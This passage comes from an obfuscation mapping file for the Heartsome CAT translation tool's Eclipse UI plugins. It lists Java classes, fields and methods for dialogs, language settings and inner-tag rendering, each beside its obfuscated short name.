net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> bx + void run() -> run +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$2 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$2: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> bx + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$3 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$3: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> bx + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$4 -> net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog$4: + net.heartsome.cat.common.ui.dialog.ElementTreeSelectionDialog this$0 -> bx + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.common.ui.dialog.FileCoverMsgDialog -> net.heartsome.cat.common.ui.dialog.FileCoverMsgDialog: + org.eclipse.swt.graphics.Image warningImg -> by + java.lang.String fileName -> fileName + org.eclipse.swt.widgets.Button alwaysBtn -> bz + org.eclipse.swt.widgets.Button skipBtn -> bA + org.eclipse.swt.widgets.Button cancelBtn -> bB + org.eclipse.swt.widgets.Button overBtn -> bC + boolean ALWAYS -> ALWAYS + int CANCEL -> CANCEL + int SKIP -> SKIP + int OVER -> OVER + java.lang.String alwaysStoreKey -> bD + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + void createAlwaysBtnArea(org.eclipse.swt.widgets.Composite) -> b + void createBtnArea(org.eclipse.swt.widgets.Composite) -> c + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + boolean close() -> close + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + boolean isAlways() -> isAlways +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog: +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider: + java.lang.Object[] EMPTY -> bE + org.eclipse.ui.internal.ide.dialogs.IFileStoreFilter fileFilter -> bF + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider$1 -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider$1: + net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileContentProvider this$1 -> bG + boolean val$showFiles -> bH + boolean accept(org.eclipse.core.filesystem.IFileStore) -> accept +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileLabelProvider -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileLabelProvider: + org.eclipse.swt.graphics.Image IMG_FOLDER -> bI + org.eclipse.swt.graphics.Image IMG_FILE -> bJ + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileSelectionValidator -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileSelectionValidator: + boolean multiSelect -> bK + boolean acceptFolders -> bL + org.eclipse.core.runtime.IStatus validate(java.lang.Object[]) -> validate +net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileViewerSorter -> net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog$FileViewerSorter: + int category(java.lang.Object) -> category +net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog -> net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog: + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + boolean isHelpAvailable() -> isHelpAvailable +net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog$1 -> net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog$1: + net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog this$0 -> bM + org.eclipse.swt.graphics.Cursor val$cursor -> bN + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog$2 -> net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog$2: + net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog this$0 -> bM + java.lang.String val$helpUrl -> bO + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog: + org.slf4j.Logger LOGGER -> LOGGER + boolean lockedUI -> bP + org.eclipse.jface.wizard.ProgressMonitorPart progressMonitorPart -> bQ + org.eclipse.swt.widgets.Composite container -> bR + org.eclipse.swt.widgets.Button cancelButton -> bS + org.eclipse.swt.widgets.Button okButton -> okButton + org.eclipse.swt.events.SelectionAdapter cancelListener -> bT + org.eclipse.swt.graphics.Cursor waitCursor -> bU + org.eclipse.swt.graphics.Cursor arrowCursor -> arrowCursor + int RESTORE_ENTER_DELAY -> bV + long activeRunningOperations -> bW + boolean useCustomProgressMonitorPart -> bX + java.lang.String FOCUS_CONTROL -> bY + long timeWhenLastJobFinished -> bZ + org.eclipse.jface.dialogs.MessageDialog windowClosingDialog -> ca + boolean okBtnInitState -> cb + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void cancelPressed() -> cancelPressed + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void run(boolean,boolean,org.eclipse.jface.operation.IRunnableWithProgress) -> run + org.eclipse.jface.wizard.ProgressMonitorPart createProgressMonitorPart(org.eclipse.swt.widgets.Composite,org.eclipse.swt.layout.GridLayout) -> createProgressMonitorPart + org.eclipse.jface.wizard.ProgressMonitorPart getProgressMonitorPart() -> h + java.lang.Object aboutToStart(boolean) -> a + void setProgressMonitorPart(org.eclipse.jface.wizard.ProgressMonitorPart) -> setProgressMonitorPart + org.eclipse.core.runtime.IProgressMonitor getProgressMonitor() -> getProgressMonitor + void okPressed() -> okPressed + void setDisplayCursor(org.eclipse.swt.graphics.Cursor) -> a + boolean close() -> close + void stopped(java.lang.Object) -> b + void restoreUIState(java.util.Map) -> a + void restoreEnableState(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String) -> a + boolean needsProgressMonitor() -> needsProgressMonitor + java.util.Map saveUIState(boolean) -> b + void saveEnableStateAndSet(org.eclipse.swt.widgets.Control,java.util.Map,java.lang.String,boolean) -> a + boolean okToClose() -> okToClose + org.eclipse.jface.dialogs.MessageDialog createWizardClosingDialog() -> i + boolean isFork() -> isFork + boolean canCancel() -> canCancel + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void setOkBtnEnable(boolean) -> c + boolean access$0(net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog) -> a + long access$1(net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog) -> b + void access$2(net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog,long) -> a +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$1 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$1: + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$2 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$2: + java.lang.String currentTask -> cd + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + void setBlocked(org.eclipse.core.runtime.IStatus) -> setBlocked + void clearBlocked() -> clearBlocked + void beginTask(java.lang.String,int) -> beginTask + void setTaskName(java.lang.String) -> setTaskName + void subTask(java.lang.String) -> subTask +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$3 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$3: + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + void keyTraversed(org.eclipse.swt.events.TraverseEvent) -> keyTraversed +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$4 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$4: + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + int getShellStyle() -> getShellStyle +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$5 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$5: + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + org.eclipse.swt.graphics.Cursor val$cursor -> bN + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$6 -> net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog$6: + net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog this$0 -> cc + java.lang.String val$helpUrl -> bO + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.dialog.HsPreferenceDialog -> net.heartsome.cat.common.ui.dialog.HsPreferenceDialog: + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createTreeAreaContents(org.eclipse.swt.widgets.Composite) -> createTreeAreaContents + void setErrorMessage(java.lang.String) -> setErrorMessage + void setMessage(java.lang.String,int) -> setMessage + void updateMessage() -> updateMessage + void updateTitle() -> updateTitle + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + boolean isHelpAvailable() -> isHelpAvailable + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl +net.heartsome.cat.common.ui.dialog.HsPreferenceDialog$1 -> net.heartsome.cat.common.ui.dialog.HsPreferenceDialog$1: + net.heartsome.cat.common.ui.dialog.HsPreferenceDialog this$0 -> ce + org.eclipse.swt.graphics.Cursor val$cursor -> bN + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.common.ui.dialog.HsPreferenceDialog$2 -> net.heartsome.cat.common.ui.dialog.HsPreferenceDialog$2: + net.heartsome.cat.common.ui.dialog.HsPreferenceDialog this$0 -> ce + java.lang.String val$helpUrl -> bO + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.dialog.SelectionStatusDialog -> net.heartsome.cat.common.ui.dialog.SelectionStatusDialog: + org.eclipse.ui.internal.MessageLine fStatusLine -> cf + org.eclipse.core.runtime.IStatus fLastStatus -> cg + org.eclipse.swt.graphics.Image fImage -> ci + boolean fStatusLineAboveButtons -> cj + void setStatusLineAboveButtons(boolean) -> setStatusLineAboveButtons + void setImage(org.eclipse.swt.graphics.Image) -> setImage + java.lang.Object getFirstResult() -> getFirstResult + void setResult(int,java.lang.Object) -> setResult + void computeResult() -> computeResult + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void updateStatus(org.eclipse.core.runtime.IStatus) -> updateStatus + void updateButtonsEnableState(org.eclipse.core.runtime.IStatus) -> updateButtonsEnableState + void okPressed() -> okPressed + void create() -> create + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar +net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler -> net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Shell shell -> shell + boolean isEditor -> ck + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute +net.heartsome.cat.common.ui.handlers.OpenViewHandler -> net.heartsome.cat.common.ui.handlers.OpenViewHandler: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.common.ui.handlers.OpenViewHandler$1 -> net.heartsome.cat.common.ui.handlers.OpenViewHandler$1: + net.heartsome.cat.common.ui.handlers.OpenViewHandler this$0 -> cl + java.lang.String val$viewId -> cm + org.eclipse.ui.menus.UIElement val$element -> cn + void run() -> run +net.heartsome.cat.common.ui.innertag.InnerTag -> net.heartsome.cat.common.ui.innertag.InnerTag: + int DEFAULT_STYLE_OPTIONS -> DEFAULT_STYLE_OPTIONS + net.heartsome.cat.common.innertag.InnerTagBean innerTagBean -> co + boolean isSelected -> isSelected + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> cp + java.lang.String resetRegularString(java.lang.String) -> a + boolean equals(java.lang.Object) -> equals + org.eclipse.swt.graphics.Point computeSize(int,int,boolean) -> computeSize + void init() -> init + boolean isSelected() -> isSelected + void setSelected(boolean) -> setSelected + void main(java.lang.String[]) -> main + void setInnerTagBean(net.heartsome.cat.common.innertag.InnerTagBean) -> setInnerTagBean + net.heartsome.cat.common.innertag.InnerTagBean getInnerTagBean() -> getInnerTagBean + net.heartsome.cat.common.ui.innertag.InnerTagRender access$0(net.heartsome.cat.common.ui.innertag.InnerTag) -> a + net.heartsome.cat.common.innertag.InnerTagBean access$1(net.heartsome.cat.common.ui.innertag.InnerTag) -> b +net.heartsome.cat.common.ui.innertag.InnerTag$1 -> net.heartsome.cat.common.ui.innertag.InnerTag$1: + net.heartsome.cat.common.ui.innertag.InnerTag this$0 -> cq + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.common.ui.innertag.InnerTag$2 -> net.heartsome.cat.common.ui.innertag.InnerTag$2: + net.heartsome.cat.common.ui.innertag.InnerTag this$0 -> cq + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown +net.heartsome.cat.common.ui.innertag.InnerTagRender -> net.heartsome.cat.common.ui.innertag.InnerTagRender: + org.eclipse.swt.graphics.Font TAG_FONT -> cr + int MARGIN_H -> cs + int MARGIN_V -> ct + net.heartsome.cat.common.ui.innertag.InnerTag tag -> cu + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType -> cv + void main(java.lang.String[]) -> main + org.eclipse.swt.graphics.Point calculateTagSize(net.heartsome.cat.common.innertag.InnerTagBean) -> calculateTagSize + void draw(org.eclipse.swt.graphics.GC,net.heartsome.cat.common.innertag.InnerTagBean,int,int) -> draw + int[] calculateTagArea(org.eclipse.swt.graphics.Point,net.heartsome.cat.common.innertag.InnerTagBean,int,int) -> a + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType() -> j +net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder -> net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder: + java.lang.String BLANK_CHARACTER -> cw + java.util.regex.Pattern PATTERN -> PATTERN + net.heartsome.cat.common.innertag.TagStyle style -> cx + java.lang.String getPlaceHolder(java.util.List,int) -> getPlaceHolder + int getIndex(java.util.List,java.lang.String) -> getIndex + java.lang.StringBuffer createStyledTagStartIndex(int) -> createStyledTagStartIndex + java.lang.StringBuffer createStyledTagEndIndex(int) -> createStyledTagEndIndex + void setStyle(net.heartsome.cat.common.innertag.TagStyle) -> setStyle +net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog -> net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog: + int DIALOG_ADD -> DIALOG_ADD + int DIALOG_EDIT -> DIALOG_EDIT + org.eclipse.swt.widgets.Text txtCode -> txtCode + org.eclipse.swt.widgets.Label imageLabel -> imageLabel + org.eclipse.swt.widgets.Text txtName -> txtName + org.eclipse.swt.widgets.Button btnIsBidi -> btnIsBidi + org.eclipse.swt.widgets.Button btnIsNotBidi -> btnIsNotBidi + int intType -> cy + java.lang.String strCode -> cz + java.lang.String imagePath -> aL + java.lang.String strName -> cA + boolean blnIsBidi -> cB + net.heartsome.cat.common.ui.languagesetting.LanguageModel languageModel -> cC + org.eclipse.swt.graphics.Image image -> image + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void setStrCode(java.lang.String) -> setStrCode + void setStrName(java.lang.String) -> setStrName + void setBlnIsBidi(boolean) -> setBlnIsBidi + void setLanguageModel(net.heartsome.cat.common.ui.languagesetting.LanguageModel) -> setLanguageModel + java.lang.String getStrCode() -> getStrCode + java.lang.String getStrName() -> getStrName + boolean isBlnIsBidi() -> isBlnIsBidi + java.lang.String getImagePath() -> getImagePath + void setImagePath(java.lang.String) -> setImagePath + java.lang.String parse(java.lang.String) -> b + boolean close() -> close + org.eclipse.swt.graphics.Image access$0(net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog) -> a + void access$1(net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog,org.eclipse.swt.graphics.Image) -> a +net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog$1 -> net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog$1: + net.heartsome.cat.common.ui.languagesetting.AddOrUpdateLanguageDialog this$0 -> cD + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage: + org.slf4j.Logger logger -> logger + java.lang.String ID -> ID + int EDIT -> cE + int REMOVE -> REMOVE + int LANGUAGE_CODE_COLUMN -> cF + int LANGUAGE_NAME_COLUMN -> cG + int LANGUAGE_BIDI_COLUMN -> cH + int NUM_OF_COLUMNS -> cI + java.util.Map imageCache -> cJ + org.eclipse.swt.graphics.Image isBidiImage -> cK + org.eclipse.swt.widgets.Button addBtn -> cL + org.eclipse.swt.widgets.Button editBtn -> cM + org.eclipse.swt.widgets.Button removeBtn -> cN + org.eclipse.ui.dialogs.FilteredTree fFilteredTree -> cO + org.eclipse.swt.widgets.Label digitalValue -> cP + org.eclipse.swt.widgets.Label currencyValue -> cQ + org.eclipse.swt.widgets.Label timeValue -> cR + org.eclipse.swt.widgets.Label shortDateValue -> cS + org.eclipse.swt.widgets.Label longDateValue -> cT + net.heartsome.cat.common.ui.languagesetting.LanguageModel languageModel -> cC + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void addListener() -> k + void verifyCurrentSelected(int) -> b + void removeLanguage(java.util.List) -> removeLanguage + void editLanguage(net.heartsome.cat.common.locale.Language) -> c + void addLanguage() -> l + void refreshFormatControls(org.eclipse.jface.viewers.IStructuredSelection) -> a + void fill() -> fill + org.eclipse.swt.widgets.Composite initContents(org.eclipse.swt.widgets.Composite) -> d + void createLanguageControls(org.eclipse.swt.widgets.Composite) -> e + void createFilterControls(org.eclipse.swt.widgets.Composite) -> f + void init(org.eclipse.ui.IWorkbench) -> init + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void dispose() -> dispose + java.util.Map access$0(net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage) -> b + int access$2() -> m +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$1 -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$1: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$2 -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$2: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$3 -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$3: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$4 -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$4: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$5 -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$5: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeComparator -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeComparator: + java.util.LinkedList sortColumns -> cV + boolean ascending -> ascending + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + int getSortColumn() -> getSortColumn + void setSortColumn(int) -> setSortColumn + boolean isAscending() -> isAscending + void setAscending(boolean) -> setAscending + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare + int compareColumn(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object,int) -> a +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeContentProvider -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeContentProvider: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeLabelProvider -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeLabelProvider: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage this$0 -> cU + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$ResortColumn -> net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$ResortColumn: + net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage$LanguageCodeComparator comparator -> cW + org.eclipse.swt.widgets.TreeColumn treeColumn -> cX + org.eclipse.jface.viewers.TreeViewer viewer -> cY + int column -> column + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider -> net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider: + java.util.Map imageCache -> cJ + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + void dispose() -> dispose +net.heartsome.cat.common.ui.languagesetting.LanguageModel -> net.heartsome.cat.common.ui.languagesetting.LanguageModel: + java.util.Set languages -> cZ + java.util.Map languagesMap -> da + java.util.Set getLanguages() -> getLanguages + void setLanguages(java.util.Set) -> setLanguages + java.util.Map getLanguagesMap() -> getLanguagesMap + void setLanguagesMap(java.util.Map) -> setLanguagesMap + void removeLanguage(java.util.List) -> removeLanguage + void removeLanguage(net.heartsome.cat.common.locale.Language) -> removeLanguage +net.heartsome.cat.common.ui.listener.PartAdapter -> net.heartsome.cat.common.ui.listener.PartAdapter: + void partActivated(org.eclipse.ui.IWorkbenchPart) -> partActivated + void partBroughtToTop(org.eclipse.ui.IWorkbenchPart) -> partBroughtToTop + void partClosed(org.eclipse.ui.IWorkbenchPart) -> partClosed + void partDeactivated(org.eclipse.ui.IWorkbenchPart) -> partDeactivated + void partOpened(org.eclipse.ui.IWorkbenchPart) -> partOpened +net.heartsome.cat.common.ui.listener.PartAdapter2 -> net.heartsome.cat.common.ui.listener.PartAdapter2: + void partActivated(org.eclipse.ui.IWorkbenchPartReference) -> partActivated + void partBroughtToTop(org.eclipse.ui.IWorkbenchPartReference) -> partBroughtToTop + void partClosed(org.eclipse.ui.IWorkbenchPartReference) -> partClosed + void partDeactivated(org.eclipse.ui.IWorkbenchPartReference) -> partDeactivated + void partHidden(org.eclipse.ui.IWorkbenchPartReference) -> partHidden + void partInputChanged(org.eclipse.ui.IWorkbenchPartReference) -> partInputChanged + void partOpened(org.eclipse.ui.IWorkbenchPartReference) -> partOpened + void partVisible(org.eclipse.ui.IWorkbenchPartReference) -> partVisible +net.heartsome.cat.common.ui.resource.Messages -> net.heartsome.cat.common.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup -> net.heartsome.cat.common.ui.shield.a: + org.slf4j.Logger LOGGER -> LOGGER + void earlyStartup() -> earlyStartup + java.util.Set getUnusedCommandSet() -> n + java.util.Set readUnusedCommandFromFile(java.lang.String) -> c +net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup$1 -> net.heartsome.cat.common.ui.shield.b: + net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup this$0 -> db + org.eclipse.ui.IWorkbench val$workbench -> dc + void run() -> run +net.heartsome.cat.common.ui.shield.ShieldActivator -> net.heartsome.cat.common.ui.shield.c: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.common.ui.shield.ShieldActivator plugin -> dd + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.common.ui.shield.ShieldActivator getDefault() -> o + java.io.File getFile(java.lang.String) -> d +net.heartsome.cat.common.ui.shield.ShieldStartup -> net.heartsome.cat.common.ui.shield.d: + java.lang.String platformDefaultScheme -> de + java.lang.String platformEmacsScheme -> df + void earlyStartup() -> earlyStartup +net.heartsome.cat.common.ui.shield.ShieldStartup$1 -> net.heartsome.cat.common.ui.shield.e: + net.heartsome.cat.common.ui.shield.ShieldStartup this$0 -> dg + org.eclipse.ui.IWorkbench val$workbench -> dc + void run() -> run +net.heartsome.cat.common.ui.shield.handlers.DisabledNewEditorHandler -> net.heartsome.cat.common.ui.shield.handlers.a: + void addHandlerListener(org.eclipse.core.commands.IHandlerListener) -> addHandlerListener + void dispose() -> dispose + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + boolean isEnabled() -> isEnabled + boolean isHandled() -> isHandled + void removeHandlerListener(org.eclipse.core.commands.IHandlerListener) -> removeHandlerListener +net.heartsome.cat.common.ui.shield.resource.Messages -> net.heartsome.cat.common.ui.shield.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.common.ui.shield.resources.ShieldIDECommandStartup -> net.heartsome.cat.common.ui.shield.resources.a: + java.lang.String CONF_FILE_PATH -> dh + java.util.Set getUnusedCommandSet() -> n +net.heartsome.cat.common.ui.shield.workbench.ShieldWorkbenchCommandStartup -> net.heartsome.cat.common.ui.shield.workbench.a: + java.lang.String CONF_FILE_PATH -> dh + java.util.Set getUnusedCommandSet() -> n +net.heartsome.cat.common.ui.utils.InnerTagUtil -> net.heartsome.cat.common.ui.utils.InnerTagUtil: + net.heartsome.cat.common.ui.innertag.PlaceHolderNormalModeBuilder placeHolderCreater -> di + org.eclipse.swt.graphics.Font tagFont -> tagFont + char INVISIBLE_CHAR -> INVISIBLE_CHAR + org.eclipse.swt.graphics.Font getTagFont() -> p + java.util.TreeMap parseXmlToDisplayValue(java.lang.StringBuffer,net.heartsome.cat.common.innertag.TagStyle) -> parseXmlToDisplayValue + java.util.Map parseXmlToDisplayValueFromSource(java.lang.String,java.lang.StringBuffer,net.heartsome.cat.common.innertag.TagStyle) -> parseXmlToDisplayValueFromSource + java.lang.String parseDisplayToXmlValue(java.util.Map,java.lang.String) -> parseDisplayToXmlValue + java.lang.String escapeTag(java.lang.String) -> escapeTag + java.lang.String resolveTag(java.lang.String) -> resolveTag + net.heartsome.cat.common.innertag.TagType getStyledTagType(java.lang.String) -> getStyledTagType + int getStyledTagNum(java.lang.String) -> getStyledTagNum + java.lang.String 